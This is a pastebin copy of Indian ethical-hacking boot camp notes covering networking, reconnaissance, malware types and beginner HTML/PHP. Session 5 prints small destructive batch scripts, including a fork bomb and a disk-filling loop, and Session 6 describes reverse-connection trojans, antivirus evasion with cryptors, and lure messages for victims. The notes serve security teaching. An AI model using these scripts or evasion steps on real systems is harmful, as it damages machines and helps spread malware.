API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Dec 18th, 2018
261
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 98.85 KB | None | 0 0
raw download clone embed print report
  1. Boot Camp Day 1
  2. ===============
  3. Session 1
  4. =========
  5. Introduction to Information Security
  6. ------------------------------------
  7. Information
  8. -----------
  9. Collection of data is known as Information. Information makes a complete meaning.
  10.  
  11. Data
  12. ----
  13. It is raw facts and figures. Data can be anything.
  14. Text
  15. Number
  16. Image
  17. Audio
  18. Video
  19. Data itself, a single piece of data never makes a sense.
  20.  
  21. Security
  22. --------
  23. To protect and secure from leakage and breaches.
  24.  
  25. Information
  26. ===========
  27. Personal Information
  28. Sensitive Information
  29. Financial Information
  30. Economical Information
  31. Banking Information
  32.  
  33. Hackers
  34. =======
  35. The person who have the highest amount of knowledge in the field of computer and technology.
  36. How a system is working.
  37. How processes are working.
  38. How my new technologies are working.
  39. Client side and server side process.
  40.  
  41. Hacking
  42. =======
  43. Gaining someine's data with or without their authorisation. Legally or illegally.
  44.  
  45. Types of Hackers
  46. ================
  47. 1. White Hat Hacker
  48. They are good people, who work for the welfare of the organisation. They work for the security only.
  49. Rahul Tyagi
  50. Abhijeet Singh
  51. Sanjeev Multani
  52. 2. Black Hat Hacker
  53. They are really bad people, which brings chaos and destruction to the cyber society. They have only one thing in mind.... Money.
  54. Mitinik
  55. New Lizard Suqad
  56. 3. Grey Hat Hacker
  57. They are the combination of both. They hack into the stuff and uncurtain the dirty things. They have only one focus ---> Welfare of the society and the people.
  58. Anonymous
  59. The Legions
  60. Hacktivism
  61. Julian Assange --> The Wikileaks
  62. Edward Snoden
  63.  
  64. Script Kidies
  65. -------------
  66. Copy + Paste --> Who just uses the codes and techniques that are created by others without knowning how things are working.
  67. N00bz
  68. -----
  69. They are new babies who are trying to learn something new in the world of cyber.
  70. Crackers
  71. --------
  72. They are not the hackers but they are very very good at cracking the passwords. File passwords, Folder password, OS password, Email password.
  73.  
  74. Why Do People Hack?
  75. -------------------
  76. Security
  77. Money
  78. Revenge
  79. Curiosity|knowledge
  80. Fame
  81. Zoo Zoo Hacker
  82. Rafi Hacker
  83.  
  84. Cyber Crimes And Laws
  85. =====================
  86. IT Act 2000 and IT Act 2008
  87. 28 Types of cyber crime, but all of them are categorised into these few group:
  88. --> Hacking
  89. --> Identity Theft
  90. --> Insult, Online Defamation
  91. --> Harrasament
  92. --> Cyber Terrorism
  93.  
  94. Section 43:
  95. Penalty and compensation for damage to computer and computer system
  96. Section 65:
  97. Tampering with Computer Source Documents
  98. Section 66:
  99. Computer Related Offences
  100. Section 67:
  101. Punishment for publishing or transmitting obsence material in electronic form
  102. Section 71:
  103. Penalty For Misrepresentation
  104. Section 72:
  105. Breach of confidentiality and privacy
  106. Section 73:
  107. Penalty for publishing electronic signature certificate false in certain particular | Signature Forgery
  108.  
  109. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  110.  
  111. Session 2
  112. =========
  113.  
  114. Network Terminology I
  115. ---------------------
  116.  
  117. Network
  118. =======
  119. Connection of two or more IT Electronic Devices, with a sole purpose of Information Interchange.
  120.  
  121. Topology
  122. ========
  123. How my devices are connected to each other in the network. Physical layout of the network.
  124.  
  125. 1. Star Topology
  126. ================
  127. When all of my end devices are connected to a central connecting device.
  128. If my central device is down, then communication is not possible.
  129. 2. Ring Topology
  130. ================
  131. When all of my end devices are connected in a closed circular chain.
  132. There are two ways of communication in Ring Topology
  133. 1. Unidirectional
  134. Either clock or anti clock
  135. 2. Bidirectional
  136. Data can go through any direction
  137. 3. Mesh Topology
  138. ================
  139. When all of my devices are connected to every device in the network.
  140. 4. Bus Topology
  141. ===============
  142. When all the end devices are connected to a central communicating line, which is known as Back Bone.
  143. 5. Hybrid Topology
  144. ==================
  145. When two or more type of topologies are connected in the network.
  146.  
  147. Protocols
  148. =========
  149. Set of rules and regulations, which are required by every device to follow, to commnunicate in the network.
  150.  
  151. 1. IP --> Internet Protocol
  152. 2. TCP --> Transmission Control Protocol
  153. 3. UDP --> User Datagram Protocol
  154. 4. FTP --> File Transfer Protocol
  155. 5. HTTP --> Hyper Text Transfer Protocol
  156. 6. SMTP --> Simple Mail Transfer Protocol
  157. 7. VoIP --> Voice Over Internet Protocol
  158. 8. DHCP --> Dynamic Host Configuration Protocol
  159.  
  160. IP Address
  161. ==========
  162. Internet Protocol Address
  163. -------------------------
  164. It is a virtual address which is provided to a device, which is connected to a network or internet, just for communicating. It is unique in a network.
  165.  
  166. Version of IP Address
  167. =====================
  168. 1. IPv4
  169. 2. IPv6
  170.  
  171. 1. IPv4 --> Internet Protocol Version 4
  172. ----------------------------------------
  173. It is a 32 bit long address, divided into 4 octets and seperated by a period.
  174.  
  175. 192.168.0.28 ---> IPv4
  176. 4 octets --> 192|168|0|28
  177. Because I can represent a number using 8 bits(0 and 1)
  178. Periods --> dot(.)
  179.  
  180.  
  181. 192 = 128+64 = 11000000
  182. 168 = 128+32+8 = 10101000
  183. 0 = 00000000
  184. 28 = 16 + 8 + 4 = 00011100
  185.  
  186.  
  187. 128 64 32 16 8 4 2 1
  188. =========================================================
  189. 1 1 0 0 0 0 0 0 192
  190. 1 0 1 0 1 0 0 0 168
  191. 0 0 0 0 0 0 0 0 0
  192. 0 0 0 1 1 1 0 0 28
  193.  
  194.  
  195. 192.168.0.28 = 11000000.10101000.00000000.00011100
  196. It is composed of decimal numbers only. --> 0-9
  197. Total Number Of IP Address --> 2^32 IP Addresses
  198. 0.0.0.0 - 255.255.255.255
  199.  
  200. Classes of IPv4 Addresses
  201. =========================
  202. 1. Class A --> 0.0.0.0 - 127.255.255.255
  203. 2. Class B --> 128.0.0.0 - 191.255.255.255
  204. 3. Class C --> 192.0.0.0 - 223.255.255.255
  205. 4. Class D --> 224.0.0.0 - 239.255.255.255
  206. 5. Class E --> 240.0.0.0 - 255.255.255.255
  207.  
  208. Class D and Class E --> Military and research and development purpose.
  209.  
  210. 2. IPv6 -> Internet Protocol Version 6
  211. ======================================
  212. It is 128 bit long address. It is composed of hexa decimal values. Last 32 bit of IPv6 addresses are taken from MAC Address.
  213. 0000:0000:0000:0000:0000:0000:0000:0000
  214. FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF
  215. Total number of IPv6 --> 2^128
  216. 0000:fe80:0000:f68c:50ff:fe5f:9718
  217. 5f:97:18
  218. f4:8c:50:5f:97:18
  219.  
  220. Types of IP Address
  221. ===================
  222. 1. Public IP Address | Global IP Address
  223. IP Address which is provided by the ISP or that of ISP
  224. Google.com --> myipaddress --> 125.63.71.34
  225. ipcow.com ----> 125.63.71.34
  226. ipchicken.com > 125.63.71.34
  227.  
  228. User-Agent Information
  229. ======================
  230. Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
  231. Hostname = 125.63.71.34.reverse.spectranet.in
  232. Device = X11
  233. Operating System = Ubuntu
  234. Browser Name = Firefox
  235. Browser Version = 60.0
  236. Is Mobile Device = False
  237. Is Beta = False
  238. Screen Resolution = 1366 x 768
  239.  
  240. 2. Private IP Address | Local IP Address
  241. This is the IP Address which is provided to end devices which are connected in the network, by the router.
  242. MS-OS --> cmd ---> ipconfig
  243. Linux/Unix --> Terminal --> ifconfig
  244. ifconfig --> interface Configuration
  245.  
  246. IP Subnetting
  247. =============
  248. Division of IP Address into further sub network so that IP wastage is reduced.
  249.  
  250.  
  251. NAT --> Network Address Translation
  252. ===================================
  253. It is a service used just above the router so that my Private IP Address can be converted and mapped into Public IP Address and Public IP Address into Private IP Address.
  254.  
  255. https://drive.google.com/file/d/0B2xwT_-2wGTkSElEbjVxVzZXUlE1M2FXbjRHcGl1QkRqYlBR/view?usp=sharing
  256.  
  257. DHCP
  258. ====
  259. Dynamic Host Configuration Protocol
  260. -----------------------------------
  261. It is the protocol which works in the router. It is responsible for allocating an IP Address to the connected device in the network.
  262.  
  263. IP-Pool
  264. =======
  265. It is collection of IP Address which can be provided to the devices.
  266. DHCP Server
  267. ===========
  268. It is the server which provides IP Address to the devices from the IP Pool.
  269.  
  270. DHCP allocates the IP Address on the basis of lease time period.
  271.  
  272. MS-OS
  273. =====
  274. cmd ---> ipconfig /release
  275. ipconfig /renew
  276.  
  277. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  278.  
  279. Session 3
  280. =========
  281. Network Terminology II
  282. ======================
  283. Types Of Network
  284. ----------------
  285. 1. PAN --> Personal Area Network --> Bluetooth, ShareIt --> 1-10m
  286. 2. LAN --> Local Area Network --> WiFi, whole Campus --> 10m-5Km
  287. 3. MAN --> MetroP. Area Network --> Whole City --> 5km-50km
  288. 4. WAN --> Wide Area Network --> Internet -->
  289.  
  290. LAN --> Collection of PAN
  291. MAN --> Collection of LAN
  292. WAN --> Collection Of MAN
  293.  
  294. 1. Intranet --> Intra -> Inside | Net -> Network
  295. Network Infrastructure which works inside a campus, cannot be accessed by people outside the campus
  296. 2. Internet --> Connection of two or more networks
  297.  
  298. Ports
  299. =====
  300. Are specific gateways vai which a device can use or access the external service. There are two different types of ports:
  301. 1. Physical Ports
  302. 2. Virtual Ports
  303.  
  304. 1. Physical Ports
  305. =================
  306. These are the ports which we can see, touch and can take the services. Which are present in the device and are used for connecting some different hardwares.
  307. USB
  308. Audio Jack
  309. HDMI
  310. VGA
  311. Charging Port
  312.  
  313. 2. Virtual Ports
  314. ================
  315. These are the ports via which i can use the network services. They are not tangible, but can use the services. External and specific services.
  316. There are 65,555+ virtual ports.
  317. They are also of three types:
  318. 1. Well-Known | Pre-Defined Ports
  319. 2. Registered Ports
  320. 3. Dynamic Ports
  321.  
  322. 1. Well-Known | Pre-Defined Ports
  323. =================================
  324. These are the ports which are defined by internet community for running and hosting some specific services. The services over these ports cannot be changed.
  325. 21 --> FTP
  326. 22 --> SSH
  327. 23 --> Telnet
  328. 80 --> HTTP
  329. 443 --> HTTPS
  330. These services can also run on other ports, but on these ports only these service will run.
  331. Ports under 1-1024 are categorised under this kind of port.
  332.  
  333. 2. Registered Ports
  334. ===================
  335. These are the ports which are registered by certain organisations for running their specific services.
  336. Orcale ----> Database ---> MySQL --> 3306
  337. Apple -----> iPhone -----> iTunes -> 3689
  338. Black Berry Enterprise ---> server > 3101
  339.  
  340. 3. Dynamic Ports
  341. ================
  342. These are the ports which are neither Pre-Defined nor registered ports, and can be used by any computer user locally for their own purpose.
  343. 1337 --> LEET port | Hacker's Port
  344.  
  345. Our computer is a dumb device. We humans can remember the names very easily but computer can only understand a language, that is of numbers. So for computers it is easy to remember the number as compared to the name.
  346.  
  347. DNS
  348. ===
  349. Domain Name System|service
  350. ==========================
  351. This service is used to map IP address to domain name and helps in fetching the response of the specified request.
  352. www.google.com ----> Open front end of google
  353. 172.217.161.4 -----> Open front end of google
  354.  
  355. www.google.co.in --> 172.217.24.227
  356. www.google.co.in
  357. in --> indian domain
  358. co --> company domain inside india
  359. google ----> domain whose name is google
  360. root ---> www|mail|drive|calander
  361.  
  362. Proxy
  363. =====
  364. These are the dummy servers, which are used for hiding and masking my IP Address. Public IP Address.
  365. kproxy.com
  366.  
  367. ipcow.com ---> 125.63.71.34 ---> Original IP Address (Public)
  368. kproxy.com --> ipcow.com ---> 192.95.12.100 -> Proxy wala IP Address
  369.  
  370. VPN --> Virtual Private Network
  371. ===============================
  372. They just work like proxy servers but they are much more advance then the proxy servers in the following ways:
  373. 1. They are used to maintain the anonymity, hiding and masking IP Address
  374. 2. They provide the encryption of data.
  375. 3. They provide the tunneling.
  376. Secret Passage
  377. Connecting to the internal network of an organisation
  378.  
  379. Services
  380. ========
  381. 1. Online Based Service ----> kproxy.com
  382. 2. Extension Based Service -> anonymox
  383. 3. Standalone Service ------> Proper softwares or hardwares which provide us these services.
  384. psiphon3
  385. UltraSurf
  386. Proxpn
  387. HotSpot Shield
  388. openVPN
  389.  
  390. OSI Model
  391. =========
  392. Open System Interconnection Model
  393. ---------------------------------
  394. It is a model which was used for communication in the network. But due to some obvious reasons, this model was made an ideal model. This model is not used at all.
  395. OSI is 7 layer approach model
  396. 1. Physical Layer
  397. Responsible for physical connection and conversion of data into 0s and 1s.
  398. 2. Data Link Layer
  399. Responsible for node to node delivery. It is also responsible for physical addressing (MAC address)
  400. 3. Network Layer
  401. It provides the packet, IP Address - Source and destination IP Address.
  402. It also decides the route.
  403. 4. Transport Layer
  404. It is responsible for the delivery of the message.
  405. 5. Session Layer
  406. It is responsible for the connection establishment, connection authentication and connection termination.
  407. 6. Presentation Layer
  408. It is responsible for data compression, encryption and decryption of data.
  409. 7. Application Layer
  410. It tells that which application to use for a specific data.
  411.  
  412. TCP\IP Model
  413. ============
  414. It is 4 layer based model. Which is similar to OSI model. Layers are again independent of each other but it's working is very very fast as compare to that of OSI model.
  415.  
  416. Web Technology Basics
  417. =====================
  418. 1. Domain Name
  419. 2. Hosting Space
  420. 3. Server
  421. 4. DataBase
  422. 5. Technology
  423. Client Side
  424. Server Side
  425.  
  426. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  427.  
  428. Session 4
  429. =========
  430. Information Gathering and Digital Footprinting
  431. ==============================================
  432. Phases of hacking
  433. -----------------
  434. These phases are must to follow in order to perform any kind of hacking.
  435. 1. Information Gathering
  436. 2. Scanning
  437. 3. Gaining Access
  438. 4. Maintaining Access
  439. 5. Covering Traces
  440.  
  441. Information Gathering
  442. ---------------------
  443. To collect as much Information as possible about the target.
  444.  
  445.  
  446. Information Gathering
  447. ---------------------
  448. |
  449. -------------------------
  450. | |
  451. Target specific Network Specific
  452. | |
  453. ----------------- -----------------
  454. | | | |
  455. Web Site Human as Basic Info. Advance Info.
  456. as Target target Gathering Gathering
  457.  
  458.  
  459.  
  460.  
  461.  
  462.  
  463.  
  464.  
  465. Information Gathering is divided into further
  466. 1. Network Specific
  467. 2. Target Specific
  468.  
  469. 1. Network Specific
  470. ===================
  471. To collect the information about the network
  472. Number Of people Connected
  473. IP Address allocated to the connected devices
  474. MAC Address
  475. Name Of the Vendor
  476. If possible --> Access of the shared folder
  477. 1. Advanced IP Scanner
  478. 2. Angry IP Scanner
  479. 3. Soft Perfect Network Scanner
  480. https://www.softperfect.com/products/networkscanner/
  481.  
  482. NMAP --> Network Mapping tool
  483.  
  484. 2. Target Specific
  485. ==================
  486. i. Web site or web application
  487. ii. Human Specific
  488.  
  489. Web site or web Application
  490. ===========================
  491. IP Address
  492. Ping
  493. > 65.52.169.46
  494. Server Information
  495. Dedicated or shared
  496. https://www.yougetsignal.com
  497. Database Information
  498. MX and NX Records
  499. Name of the registrar
  500. Technologies
  501. White list and Black List
  502. |--> robots.txt
  503.  
  504. https://whois.net/
  505. https://www.yougetsignal.com
  506. https://whois.icann.org/en
  507. https://mxtoolbox.com/
  508. wapalyzer --> extension --> helps me in gathering information about the technologies used behind a web site or web application.
  509. Online Nmap
  510. https://pentest-tools.com/network-vulnerability-scanning/tcp-port-scanner-online-nmap
  511.  
  512.  
  513.  
  514.  
  515. Human Specific
  516. ==============
  517. Social Network
  518. Social Networking Websites
  519. Linkedin
  520. Twitter
  521. Facebook
  522. Dating Websites
  523. Matrimonial Websites
  524. Job Portals
  525. Fake Surveys
  526. Spy Services
  527.  
  528. ravisraaman.marines
  529.  
  530. Tools
  531. =====
  532. Maltego
  533. It is corporate level information gathering tool. It helps in gathering information about each and every aspect.
  534. Community Edition ---> Free
  535. All transformations does not work in free edition.
  536. https://www.paterva.com/web7/downloads.php
  537.  
  538. OS Login Bypass
  539. ===============
  540. When you log into the OS, then while starting the windows, you will be asked for password.
  541. 1. Online Method
  542. 2. Offline Method
  543.  
  544. 1. Online Method
  545. ================
  546. When you need to crack or bypass the password, change the OS login password when the system is up, and you do not know the current password. It only works in windows ultimate or professional version.
  547. 1. Right click on "My Computers"
  548. 2. Click on "Manage"
  549. 3. Click on "Local Users and Groups", in the left pane
  550. 4. Click on "Users"
  551. 5. Choose the user, for whom you want to change the password.
  552. 6. Right Click
  553. 7. Set Password
  554.  
  555. 2. Offline Method
  556. =================
  557. This is the condition, when the device is in shut down mode and we cannot open the group editing policies.
  558. SAM --> Security Account Manager
  559. C:\Windows\System32\Config\SAM
  560. Hiren Boot CD
  561. Kon Boot CD
  562. These are live bootable OS. We use tools like Rufus, to make the media bootable.
  563. BIOS --> Basic Input Output System
  564. Live OS ---> It replaces the BIOS of the Computer or the device from the one which is in the bootable media.
  565.  
  566. https://ufile.io/9yr2t
  567. k
  568.  
  569. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  570.  
  571. Session 5
  572. =========
  573. Malware Illustration
  574. --------------------
  575. Malware --> MAL + WARE
  576. MAL -> MALicious
  577. WARE -> softWARE
  578.  
  579. Malware are malicious softwares which can cause harm to the system. These can be anything, tools, applications, softwares, file.
  580. Types Of Malware:
  581. 1. Virus
  582. 2. Worms
  583. 3. Trojan
  584. 4. Keyloggers
  585. 5. Spywares
  586. 6. Ransomware
  587. 7. Botnet
  588. 8. Rootkits
  589. 9. Adwares
  590.  
  591. 1. VIRUS
  592. ========
  593. Vital Information Resource Under Seize
  594. Virus can be an application, tool, software, which can harm the system and system files of the device.
  595. Symptoms of virus
  596. Slow
  597. Slow Processing
  598. Delete
  599. Attribute change
  600. Extension Change
  601. Shortcut keys|Files
  602. It will remain dormant, until a user executes it. Virus needs human assistance for executing itself.
  603.  
  604. Batch File Virus
  605. ================
  606. 1. Infinite Folder
  607. ------------------
  608. :loop
  609. mkdir %random%
  610. goto loop
  611.  
  612. 2. Cascading folder and file
  613. ----------------------------
  614. :rudra
  615. mkdir rudr
  616. echo Hello Boys... Me acha hu...!! >>rudr.txt
  617. cd rudr
  618. goto rudra
  619.  
  620. 3. Space Eating Virus
  621. ---------------------
  622. echo hello>>file.txt
  623. :loop
  624. type file.txt>>file.txt
  625. goto loop
  626.  
  627. 4. Process Calling
  628. ------------------
  629. :loop
  630. start cmd.exe /c
  631. goto loop
  632.  
  633. 5. Fork Bombing
  634. ---------------
  635. %0|%0
  636.  
  637.  
  638.  
  639. Polymorphic Virus
  640. Logic Bomb
  641. Boot Sector Virus
  642. Browser Infectious Virus
  643.  
  644.  
  645. https://lucideustech.blogspot.com/2018/04/mac-os-login-screen-bypass-with.html
  646.  
  647. aran.kuanr@gmail.com
  648. aran.k.uanr@gmail.com
  649. ara.n.k.u.anr@gmail.com
  650. a.r.a.n.k.u.a.n.r@gmail.com
  651.  
  652.  
  653. 2. Keyloggers
  654. =============
  655. These are the applications which are used to grab the key strokes of the devices. It is just like an extra layer, which takes the keys and dump them on the screen.
  656. 1. Online Based| Remote --> iStealer
  657. 2. Local Storage
  658. Family Key Logger
  659. http://www.spyarsenal.com/download.html
  660. BPK Keylogger
  661. Refog Keylogger
  662. Screenshoter --> when ever you press anything, key or mouse click, then your application will take a screenshot.
  663. Screen Recorder
  664.  
  665. 3. Ransomware
  666. =============
  667. It is when your system gets hijack and all the system files get encrypted by the attacker and you need to pay some ransom to the attacker for decrypting the files.
  668. WannaCry
  669. Pateya
  670. Bad Rabbit
  671.  
  672. 4. Worms
  673. ========
  674. These are the malwares which spread by itself. It nees human assistance just for once. Common feature
  675. Replication
  676. Copy Itself
  677. Speard Through Pen drive or mail
  678. It is target specific
  679. Conficker worm --> 1,00,000 Devices
  680.  
  681. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  682.  
  683. Session 6
  684. =========
  685. 5. Trojans
  686. ----------
  687. These are the malwares which helps an attacker to gain the remote access of the target device. Remote Access ---> Backdooring. I can have the access, can download any file, can upload anyfile. can use anything and can manipulate the data.
  688. There are two types of trojans:
  689. 1. Forward Connection
  690. 2. Reverse Connection
  691.  
  692. 1. Forward Connection
  693. ---------------------
  694. When the attacker have the target's IP Address, then he can directly attack the system.
  695. 1. Target keeps on moving --> IP Address of the target will keep on changing
  696. 2. It will be very very hard for an attacker to get the target's IP Address everytime, when he will change the location.
  697.  
  698.  
  699. 2. Reverse Connection
  700. ---------------------
  701. The attacker do always have his own IP Address. then the attacker can craft an application which is embedded with his own IP Address. He will send the application to the target. As soon as the target will execute the application, the attacker will receive a reverse remote connection.
  702.  
  703. RAT --> Remote Administrative|Access Tools
  704. These are third party tools which are used for creating Trojans.
  705. Dark Comet
  706.  
  707. How Does Anti-Malware Works
  708. ===========================
  709. All of the Anti-Malware works on the basis of signature. If they have the signature of the trojan in the database, it means, that it is a malware else the file is clean.
  710.  
  711. How to evade Anti-Malware?
  712. ==========================
  713. If I can change the signature it means I can evade the Anti-Malware. We will change the signature of trojan, so that we can evade Anti-Malware.
  714. With the help of these tools we can change the signature of the trojan:
  715. 1. Binders
  716. 2. Cryptors
  717. 3. Hex Editors --> Neo Hex Editor
  718. 4. Obfusscators -> Red Gate Smart Assambely
  719.  
  720. Binder and cryptor
  721. ==================
  722. Chrome Cryptor
  723. URGE Cryptor
  724.  
  725. Raw --> 57/65
  726. Raw + Chrome Cryptor --> 35/65
  727. Raw + Chrome Cryptor + URGE Cryptor --> 29/60
  728. Raw + Chrome Cryptor + URGE Cryptor + Red Gate Smart Assambely --> 12/65
  729.  
  730. Downlaod and install, you will get paytm cash back of 500/-
  731. Downlaod and install the best antivirus
  732. Download the facebook hacker --> hack any facebook account by this application
  733. Download and install ---> will help you in securing your device 100% gauranteed
  734. Scan the network with angry IP Scanner
  735.  
  736. 6. Botnets
  737. ==========
  738. BOTNET = BOT + NET
  739. BOT = roBOT
  740. NET = NETwork
  741. It means that you are connected in the network, and are controlling many devices.
  742. The attacker deployed the trojan in n number of systems and devices and controlling it. That whole network of trojan is known as botnet.
  743. Ares Botnet
  744. https://github.com/sweetsoftware/Ares
  745.  
  746. 7. Rootkits
  747. ===========
  748. Which are or can be planted in the root of the device. Administrator, Kernel.
  749. These are the malwares which attacks and effects the kernel level and hard to find and hard to remove.
  750.  
  751. System Protection From Malwares and Secure System Configuration
  752. ===============================================================
  753. Security
  754. --------
  755. 1. Firewall Should always be enabled.
  756. 2. Anti-Virus Should always be installed and updated.
  757. 3. Windows patches and updates.
  758. 4. Always use sandbox|Virtualised environment for analysing or running a suspicious application.
  759. Sandboxie --> Virtual and simulated environment for analysing
  760. Virtual Box Simulation
  761. 5. EXE radar
  762.  
  763. Configuration
  764. -------------
  765. 1. attrib --> for checking the attribute
  766. 2. services
  767. 3. Activated services
  768. 4. Startup Service
  769. msconfig ---> startup
  770. 5. netstat
  771. 6. netstat -b
  772. -b --> applications which are binded to the port
  773. 7. netstat -ona
  774. all | ports | Numeric Form
  775. 8. Firewall Rule
  776.  
  777. https://lucideustech.blogspot.com/2018/02/tracing-and-terminating-reverse.html
  778.  
  779. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  780.  
  781. Session 7
  782. =========
  783. Introduction to web Architecture and Components
  784. -----------------------------------------------
  785.  
  786. 1. Domain Name
  787. ---------------
  788. godaddy.com
  789. hostgator.com
  790. 2. Hosting Space
  791. ----------------
  792. 000webhost.com
  793. 3. Server
  794. ---------
  795. They are the applications or hardwares which are used to run other programs. server side programs. php script.
  796. It manages the request and response.
  797. When a user enters something in the url bar ---> a request is generated
  798. At the same time, when user receives the data -> a response is received
  799. Servers are again of 2 types:
  800. 1. MS OS Based server
  801. IIS --> Internet Information Services
  802. 2. Linux Based Servers
  803. Apache | Tomcat
  804. 4. Database
  805. -----------
  806. It is known as the backbone. It stores the data of the web site or the web application. It stores the data in a tabular way.
  807. Database --> Tables --> Columns --> Rows (Data)
  808. Database is again of two type:
  809. 1. MS OS --> MSSQL
  810. 2. Linux --> MySQL
  811. 5. Web Technologies
  812. -------------------
  813. These are the coding languages or scripting languages in which our web site or web application is build.
  814. They are also divided into 2 types
  815. 1. Client Side | Front End Scripting Language
  816. 2. Server Side | Back End Scripting Language
  817.  
  818. 1. Client Side Scripting
  819. These provides the UI to the web site or the web application. It is what a user sees on the web browser.
  820. These require just a browser to run.
  821. HTML
  822. 2. Server Side Scripting
  823. These are what works on back end. They require a server to run.
  824. PHP
  825.  
  826. MS OS --> ASP.NET
  827. Linux --> PHP
  828.  
  829. MS OS --> IIS + MSSQL + ASP.NET ---> Money
  830. Linux --> Apache|Tomcat + MySQL + php ---> Money
  831.  
  832. Local Hosting Server
  833. ====================
  834. By using these third party application for free, you can launch and host the application or the web site on the LAN and can run the testing for the same. There is no money involved, I can test the application for free.
  835.  
  836. 1. Windows Based Server --> WAMPP
  837. W --> Windows
  838. A --> Apache
  839. M --> MySQL
  840. P --> Perl
  841. P --> Php
  842.  
  843. 2. Linux Based Server --> LAMPP
  844. L --> Linux
  845. A --> Apache
  846. M --> MySQL
  847. P --> Perl
  848. P --> Php
  849.  
  850. 3. Cross Platform Based Server --> XAMPP
  851. X --> Cross Platform
  852. A --> Apache
  853. M --> MySQL
  854. P --> Perl
  855. P --> Php
  856.  
  857. After Installing XAMPP
  858. ======================
  859. 1. Apache
  860. 2. MySQL
  861. we need to start these two services.
  862.  
  863. How To Access XAMPP Server
  864. --------------------------
  865. There are 3 ways via which we can access the xampp server. Open the browser
  866. 1. localhost
  867. 2. 127.0.0.1
  868. 3. Hosted system's IP Address
  869.  
  870. Web Security Misconfigurations
  871. ------------------------------
  872. 1. If I do have a good firewall, I am secure.
  873. 2. If I do have a good IDS and IPS, I am secure.
  874. 3. If the web site of the web application is using HTTPS, I am secure.
  875.  
  876. HTML
  877. ====
  878. Hyper Text Markup Language
  879. --------------------------
  880. Front end developing language. which requires a browser to run.
  881.  
  882. 1. HTML --> Each and everything of the front end is written in this tag.
  883. <html>
  884. xxxxxx
  885. xxxxxx
  886. xxxxxx
  887. </html>
  888.  
  889. 2. Head --> Contains the meta data
  890. Links of styles, title, date etc etc
  891. <head>
  892. xxxxxx
  893. xxxxxx
  894. xxxxxx
  895. xxxxxx
  896. </head>
  897.  
  898. 3. title --> to provide the title to the tab
  899. <title>Name_Of_The_Title</title>
  900.  
  901. 4. Body --> Which contains the whole of the code of the web site and the web application. I works after the head is closed.
  902. <body>
  903. xxxxxx
  904. xxxxxx
  905. xxxxxx
  906. </body>
  907.  
  908. 5. Paragraph -->
  909. <p>.....
  910. ........
  911. ........
  912. ........
  913. </p>
  914.  
  915. 6. Break
  916. <br> --> It is single tag. It doesnot needed to close
  917. 7. Heading
  918. There are 6 types of heading tag
  919. h1
  920. h2
  921. h3
  922. h4
  923. h5
  924. h6
  925. as the number increases, the font size decreases.
  926.  
  927. 8. anchor --> to provide the hyper link to anything
  928. <a href="#">............</a>
  929.  
  930. 9. Image
  931. <img src=""></img>
  932.  
  933. 10. Form
  934. <form action="Kis page p redirect krna hai after clicking submit button" method="GET|POST">
  935. </form>
  936.  
  937. 11. Input
  938. <input type="text|number|date|password" id="Unique ID" name="Name Of the Element">
  939. 12. iframe
  940. <iframe src="http://www.lucideus.com"></iframe>
  941.  
  942. ==========
  943. pagee.html
  944. ==========
  945. <html>
  946. <head>
  947. <title>CII</title>
  948. </head>
  949. <body>
  950. <p>
  951. <h1>Grade 2<br>
  952. =======</h1>
  953. <h2>Session 1<br>
  954. ---------</h2>
  955. <a href="http://www.lucideus.com"><h3>Introduction To Cryptography</a><br>
  956. ----------------------------</h3>
  957. Cryptography --> Conversion of text into another form, which is readable but
  958. not understandable.
  959. <br>
  960. Conversion of plain text into an encrypted text via an algorithm which uses a
  961. key, after transmission, decryption of the encrypted text into the plain text
  962. via same algorithm and the key.
  963. <br>
  964.  
  965. Plain Text --> It is a normal Text, which is typed by the user. which is
  966. readable and understandable to everyone.<br>
  967. Cipher Text --> Encrypted text, which is the output of the encryption.<br>
  968. Encryption --> Process of converting plain text into a Cipher text, it is
  969. readable but not understandable<br>
  970. Decryption --> Reverse of encryption, conversion of Cipher text into a plain
  971. text<br>
  972. Algorithm --> It is the code which is used to encrypt and decrypt the plain
  973. text into cipher text and cipher text into plain text.<br>
  974. Key --> it is a special function, encryption and decryption is possible just
  975. due to this key. <br
  976. </p>
  977. <img src="naruto.jpg" height="700"></img>
  978. <form action="mera.html" method="GET">
  979. Username :<input type="text" id="uname"><br>
  980. Password :<input type="password" id="pass"><br>
  981. <input type="submit" id="but">
  982. </form>
  983. </body>
  984. </html>
  985.  
  986. =========
  987. mera.html
  988. =========
  989. <html>
  990. <head>
  991. <title>Second Page</title>
  992. </head>
  993. <body>
  994. <p>
  995. This is my second page</p>
  996. <iframe
  997. src="http://www.lucideus.com"></iframe><br>
  998. <img src="goku.jpg" height="500"></img>
  999. </body>
  1000. </html>
  1001.  
  1002. PHP Basics
  1003. ==========
  1004. Server Side Scripting Language
  1005.  
  1006. <?php
  1007. xxxx
  1008. xxxx
  1009. xxxx
  1010. xxxx
  1011. ?>
  1012.  
  1013. <?php ---> Start of PHP code
  1014. ?> ---> End of php code
  1015. echo "Hello Guys"
  1016. $var --> var is name of variable
  1017. $hack --> Hack is name of variable
  1018. $ ---> used to declare a variable
  1019. $_POST
  1020. $_GET
  1021.  
  1022. =========
  1023. CALL.html
  1024. =========
  1025. <html>
  1026. <head>
  1027. <title>Calculator</title>
  1028. </head>
  1029. <body>
  1030. <form action="calc.php" method="post" attribute="post">
  1031. First Value : <input type="text" id="first" name="first"><br>
